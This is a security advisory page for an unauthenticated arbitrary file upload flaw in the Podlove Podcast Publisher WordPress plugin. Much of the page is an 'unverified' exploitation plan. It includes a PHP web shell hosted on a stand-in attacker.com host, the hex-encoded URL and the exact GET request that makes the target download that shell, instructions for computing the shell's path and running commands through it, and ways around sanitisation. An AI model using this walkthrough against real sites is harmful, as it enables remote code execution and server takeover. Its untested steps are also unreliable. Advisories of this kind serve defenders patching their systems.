CVE-2026-13001

Podlove Podcast Publisher <= 4.5.1 - Unauthenticated Arbitrary File Upload via podlove_image_cache_url Parameter

criticalImproper Input Validation
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
4.5.2
Patched in
1d
Time to patch

Description

The Podlove Podcast Publisher plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'podlove_handle_cache_files' function in all versions up to, and including, 4.5.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.5.1
PublishedJuly 14, 2026
Last updatedJuly 14, 2026

What Changed in the Fix

Changes introduced in v4.5.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-13001 ## 1. Vulnerability Summary The **Podlove Podcast Publisher** plugin (<= 4.5.1) contains a critical unauthenticated arbitrary file upload vulnerability. The issue exists in the `podlove_handle_cache_files` function (called during plugin initialization) w…

Show full research plan

Exploitation Research Plan: CVE-2026-13001

1. Vulnerability Summary

The Podlove Podcast Publisher plugin (<= 4.5.1) contains a critical unauthenticated arbitrary file upload vulnerability. The issue exists in the podlove_handle_cache_files function (called during plugin initialization) which processes image caching requests. When the plugin is configured to handle image caching via query parameters (typically when permalinks are disabled or forced via PODLOVE_IMAGE_CACHE_FORCE_DYNAMIC_URL), it fetches a remote URL provided in the podlove_image_cache_url parameter and saves it locally. Because it lacks sufficient file type validation (failing to use the is_image check defined in lib/helper.php), an attacker can supply a URL to a PHP shell, which the plugin will download and store in the wp-content/cache/podlove/ directory.

2. Attack Vector Analysis

  • Endpoint: Any WordPress frontend URL (e.g., / or /index.php).
  • Action: GET request.
  • Vulnerable Parameters:
    • podlove_image_cache_url: A hex-encoded URL of the remote file to be "cached".
    • podlove_file_name: A string used to generate the local filename and storage path.
  • Preconditions: None. The handler is unauthenticated and runs early in the WordPress lifecycle.
  • Authentication: Unauthenticated.

3. Code Flow

  1. Entry Point: The plugin likely hooks a handler (identified in the vulnerability description as podlove_handle_cache_files) to init or wp_loaded.
  2. Parameter Extraction: The handler checks for the existence of $_GET['podlove_image_cache_url'].
  3. Hex Decoding: The value is decoded (reversing the \Podlove\PHP\str2hex logic seen in lib/model/image.php).
  4. Image Object Initialization: A new Podlove\Model\Image object is instantiated:
    // From lib/model/image.php
    public function __construct($url, $file_name = '') {
        $this->source_url = trim($url ?? '');
        $this->file_name = sanitize_title($file_name);
        // ...
        $this->file_extension = $this->extract_file_extension();
        $this->id = md5($url.$this->file_name);
        $id_directory = substr($this->id, 0, 2).'/'.substr($this->id, 2);
        $this->upload_basedir = self::cache_dir().$id_directory;
    }
    
  5. Caching/Download: The handler (or the Image class) attempts to fetch source_url.
  6. Vulnerable Sink: The fetched content is saved to $this->upload_basedir using the extension extracted from the source URL. Because podlove_handle_cache_files omits the is_image() check (found in lib/helper.php), it will save .php files if provided.

4. Nonce Acquisition Strategy

This endpoint is intended for public image serving and does not require a WordPress nonce. The vulnerability description confirms it is unauthenticated and triggered via query parameters.

5. Exploitation Strategy

The goal is to trick the server into downloading a remote PHP file and determine its final location on the filesystem.

Step 1: Prepare the Remote Payload

Host a simple PHP shell on a remote server accessible by the target (e.g., http://attacker.com/shell.php).

<?php echo shell_exec($_GET['cmd']); ?>

Step 2: Encode the Attack URL

The plugin expects the URL to be hex-encoded.

  • URL: http://attacker.com/shell.php
  • Hex: 687474703a2f2f61747461636b65722e636f6d2f7368656c6c2e706870

Step 3: Trigger the Download

Send a GET request to the target WordPress site. Include dummy width/height parameters to satisfy the logic in Image::url().

  • Request:
    GET /?podlove_image_cache_url=687474703a2f2f61747461636b65722e636f6d2f7368656c6c2e706870&podlove_width=100&podlove_height=100&podlove_file_name=pocshell HTTP/1.1
    Host: target.local
    

Step 4: Calculate the Shell Path

The file is stored in wp-content/cache/podlove/.

  1. Calculate ID: md5("http://attacker.com/shell.php" + "pocshell").
    • Example: If MD5 is abc123def..., the directory is ab/c123def.../.
  2. Determine Filename: The plugin likely saves the original file or a "resized" version. Since the "original" is fetched first, it will be stored at:
    wp-content/cache/podlove/[id_0_2]/[id_2_32]/original.[ext] OR [file_name].[ext].
    Based on lib/model/image.php line 125: The directory structure is substr($this->id, 0, 2) . '/' . substr($this->id, 2).

Step 5: Execute Commands

Access the shell at:
http://target.local/wp-content/cache/podlove/[id_0_2]/[id_2_32]/pocshell.php?cmd=id

6. Test Data Setup

  1. Plugin Installation: Install Podlove Podcast Publisher version 4.5.1.
  2. Remote Server: Start a simple HTTP server to host the payload:
    python3 -m http.server 80 (containing shell.php).
  3. Permalinks: The exploit works best when permalinks are disabled or the dynamic URL parameters are used directly.

7. Expected Results

  • The target server makes an outbound HTTP request to http://attacker.com/shell.php.
  • The target server creates a directory under wp-content/cache/podlove/.
  • A .php file is written to that directory.
  • Accessing the calculated URL returns the output of the id command.

8. Verification Steps

  1. Verify Outbound Request: Check the attacker server's access logs for the fetch.
  2. Verify File Creation via CLI:
    ls -R /var/www/html/wp-content/cache/podlove/
    
  3. Check for PHP Execution: Confirm the HTTP response from the uploaded file contains the expected system command output.

9. Alternative Approaches

If podlove_file_name does not allow extensions or is sanitized too strictly, try to bypass the extract_file_extension logic by appending the extension to the source_url via query parameters (e.g., http://attacker.com/shell?fake=.php).

If the "original" file is not web-accessible, check for the "resized" file location. The Image class methods resized_file() and resized_url() (truncated in source) define where the processed versions are stored. Even if processing fails, the download of the source often occurs first.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.